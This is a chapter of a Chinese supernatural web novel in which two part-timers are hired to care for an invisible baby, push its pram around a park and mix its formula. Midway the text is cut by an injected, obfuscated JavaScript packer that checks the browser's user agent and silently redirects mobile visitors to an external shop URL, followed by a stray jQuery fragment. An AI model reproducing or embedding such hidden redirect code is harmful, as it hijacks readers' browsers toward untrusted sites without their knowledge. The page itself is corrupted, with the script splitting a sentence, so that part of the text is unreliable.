“醒了也不闹,那脾气还挺乖的...”张戈扬一边随口应和着,一边把脑袋探进门里,心里已经做好了面对畸形怪物的准备。
然而当他看清婴儿床里的景象时,却没想到那张精巧的小床里,竟然空空如也,完全没有任何活物的影子。
婴儿床的上方悬挂着色彩鲜艳的旋转摇铃,床铺里头也和每个普通家庭一样,精心摆放着柔软的安抚玩具和小被子,毫无异常。
在床铺的正中央,却诡异地横着一个已经扣好魔术贴的纸尿裤,那个纸尿裤不仅呈现出被撑开的立体形状,而且根据其吸水鼓胀的程度来看,已经到要立刻更换的程度了。
“哎呀,尿裤也满了,妈妈先给你换一下吧。”满身伤痕的雇主温柔地俯下身子,对着一团空气逗弄了一番,她的眼神非常慈爱,仿佛那里真的躺着一个小婴儿。
随后,她轻轻解下那个鼓鼓的尿包,拿湿巾对着空气仔细擦拭了一番,最后动作娴熟地将一张崭新的纸尿裤垫在床上,开始轻柔地包纸尿裤。
“我就知道,王督手里绝对不可能有什么正常兼职...”张戈扬忍不住压低声音吐槽了一句,他设想过雇主的婴儿会是某些不可名状的恐怖存在,却始终没想到自己拿两千块钱的日薪,要来伺候一团空气一整天。
“嘘,你小点声,别乱说话。”李苇安见雇主全神贯注哄着小孩,并没听到张戈扬的抱怨,赶紧一把将他拉到一旁,轻声分析道:“这人说不定是位刚刚失去孩子的可怜母亲。她在受到巨大打击后,一时无法接受现实,极有可能因此出现癔症,所以才会在家里不停地模拟照顾婴儿的行为。她身上那些伤,大概率也是犯病时自己磕碰出来的。”
张戈扬感觉这番解释还挺合理,看了看那个浑身缠满绷带,正满脸温柔对着空气安抚的瘦弱女人,只能无奈地点了点头,保持沉默。
“婴儿车就放在客厅靠门的地方,麻烦你们帮我拿进来一下,我把孩子放进车里,一会儿你们就能直接带宝宝下楼去散步了。”雇主小心翼翼地虚空托起那个刚换好的纸尿裤,双臂摆出了一个标准的抱婴姿势。
她的手掌仿佛真的托着婴儿脆弱的颈椎,轻轻晃动身子,哼起了安抚的歌谣。
张戈扬和李苇安对视了一眼,没有出声打破这个可怜女人的幻想,非常配合地去了客厅,将那辆婴儿车推到了卧室里。
雇主弯下腰,动作轻柔地将怀中那团空气婴儿放置进了推车座椅里。
然而,就在雇主松手的那一瞬间,双手正握着推车把手的张戈扬清晰地感觉到,似乎真的有一个十来斤重的物体被放进了座椅里。
站在一旁的李苇安也察觉到了不对劲,他的眼睛瞬间瞪大,同样注意到在雇主虚空放置完毕的那一刻,整辆婴儿车的避震弹簧响了一下,车身更是肉眼可见地往下沉了些许。
“好啦,宝宝平时在外面很乖的,接下来就麻烦你们二位根据时间表,先带宝宝出去遛个弯,遇到任何问题随时打电话给我。”将婴儿放进车里后,雇主像是一下子卸下了巨大的重担,整个人肉眼可见地轻松了起来。
她甚至连多看那辆婴儿车一眼都不愿意,以极其敏捷的动作抓起沙发上的皮包,迫不及待地将一把备用钥匙扔在茶几上,连鞋都没穿利索,就拉开大门直接离开。
“这车里...该不会真的有看不见的婴儿吧?”张戈扬轻轻推了一下婴儿车,感受到推车因为迷之重量的出现,增加了不少运行的阻力,试探性地转头看向李苇安,却见李苇安神色复杂,没有反驳自己的话。
张戈扬看出对方也察觉到了这个超自然异样,强烈的好奇心让他忍不住伸出手,想要去摸一摸那个微微鼓起的纸尿裤。
“喂,你疯了吗,快把手收回来!”李苇安一把拍开了张戈扬那只没有分寸的手,压低声音劝阻起来,“你这手没轻没重的,要是这看不见的东西被你吓到大哭,我们不就直接触犯了绝对不能让孩子哭的禁忌了吗?”
被李苇安这么训斥一句,张戈扬立刻打消了作死的念头。根据两人前几次的经验来看,在这种诡异的兼职里,老老实实地按照雇主定下的规矩办事,才是保命的唯一法则。
俩人只能做个尽职尽责的保姆,推着那辆看似空无一物的婴儿车走出了房门。好在这座小区的无障碍设施做得非常完善,俩人推着车从电梯下降,再顺着无障碍通道一路推出了小区大门,全程没有任何可能会让婴儿哭泣的障碍出现。
小区周围正好有一个中型生态公园,两人商量了一下,决定在这片公园里推着车绕圈磨时间。
“妈妈,你快看,为什么那两个叔叔推着一辆空的婴儿车呀?”一个蹬着滑板车的小孩指着张戈扬和李苇安的方向,扭过头向一旁的母亲大声发问。
童言无忌却犹如平地惊雷,那位母亲瞬间涨红了脸,尴尬地冲着两人挤出一个带着歉意的笑容,连连点头赔不是,随后一把拽住小孩,急着要开溜。
然而小朋友爆棚的好奇心很难被按下去,即便被亲妈连拉带拽,他依然倔强地回过头,继续大声追问:“两个叔叔是一对吗?可是两个男人根本没办法生小孩,他们是不是太想要宝宝了,所以才在这里假装推车过家家呀!”
此话一出,宛如当头一棒,张戈扬原本向前的动作猛地僵住。
虽说自己一个二十多岁的好青年,实在犯不上去跟一个幼儿园的小孩斤斤计较,但这番完全歪曲事实,严重败坏自己清誉的暴言,实在让张戈扬咽不下这口气。
他急脾气一上来,下意识就要冲过去跟那对母子解释清楚,说明自己只是个拿钱办事的苦命兼职人,好好表明自己跟身边的李苇安纯粹是同事关系,绝不是什么想要小孩想疯了的奇怪情侣。
“你冷静一点啊,这么大个人去和小孩子计较什么?”李苇安此刻的脸色也是相当精彩,从脖子到耳朵根全部涨红,他赶紧一把揪住张戈扬的衣摆,慌乱劝阻起来,“解释什么啊,那车里本来就什么都没有,你现在跑过去跟人家解释,那对母女只会觉得你是个溜空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815361|211032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气的变态!连带我都要被骂精神病!”
“那小屁孩都当众造谣我们想要孩子了,这你都能忍?”张戈扬没好气地回过头,气冲冲反问李苇安,然而等他再转头望向那对母子时,却发现那位反应神速的母亲已经一把将孩子抗在肩上,另一只提起滑板车,以极快的速度逃离消失。
李苇安双手用力拽着张戈扬的胳膊,一边慌乱地瞟向那辆婴儿车:“反正就干这一次兼职,公园里谁也不认识我们,就当是替雇主家挡挡闲言碎语了。我们接着遛弯,如果小孩子中途停下来太久,容易心情不好哭闹起来,到时候我们两人就完蛋了!”
张戈扬胸口憋着一团火无处发泄,只能气哼哼地握回把手,不情不愿地继续遛这团空气,随后按照原定的路线继续推着婴儿车在公园里绕圈。
这一路下来,两人的脸色是越来越黑,周围那些遛弯的大爷大妈,不停地对这两个推着空车满脸怨气的年轻人投来探究目光。不少乘凉的老头老太打量一番后,聚在一起交头接耳,对这俩人指指点点,隐约能听出伤风害俗之类的话。
顶着社会性死亡的压力,俩人越走越快,遛弯完全变成了推车竞走活动。他们绕完三个大圈后,距离预定回去的时间还多出了二十分钟。
照理说他们还能再绕一圈,但这俩人实在无法继续忍受周围人乱七八糟的猜测,索性埋着头推起车子,匆匆逃回了雇主的房子。
庆幸的是,婴儿车里那团空气婴儿性格似乎还挺好,一路颠簸下来,完全没什么反应。即使两人提前回了家,也没引发任何婴儿的啼哭声。
关上房门后,俩人暂时松了口气,之前婴儿车交接时那莫名出现的重量感,也因为全程无事发生,被两人抛诸脑后。
此时的张戈扬已经信了李苇安之前的那套说辞,认定这趟兼职就是那位可怜母亲因为太过思念失去的孩子,从而衍生出的一种精神补偿行为。
不过既然拿了钱,该做的还是要做的,两人便按照时间表,在客厅里轮流来回轻推婴儿车,安抚着那团空气。
熬着熬着,总算迎来了喂奶时间,李苇安接过推车把手,继续保持匀速推车,而张戈扬则负责去冲泡奶粉。
李苇安一边推车,一边看着张戈扬那副越笨手笨脚的样子,无语地翻了个白眼,眼睁睁看着张戈扬将一满勺奶粉直接倒进了奶瓶里,终于忍不住开口吐槽:“你在社区医院到底有没有带着耳朵去听课,冲奶粉明明是要先倒温水,然后再往里面放奶粉啊,你这样刻度根本不准,别把小孩喂积食了。”
“反正最后都在一个瓶子里,先放哪个不是一样都能化开,磨磨唧唧规矩那么多,给空气喝的不都一样吗。”张戈扬嘴硬着为自己的失误辩解,虽然嘴上这么说,但他还是停止了加奶粉的动作,改为注入温水,后补加两平勺奶粉。
他努力回想昨天在课堂上学到的那些手法,便用双手夹住奶瓶,像钻木取火一样,疯狂搓动起手中的奶瓶,试图把那些因为顺序错误而结块的奶粉强行摇匀。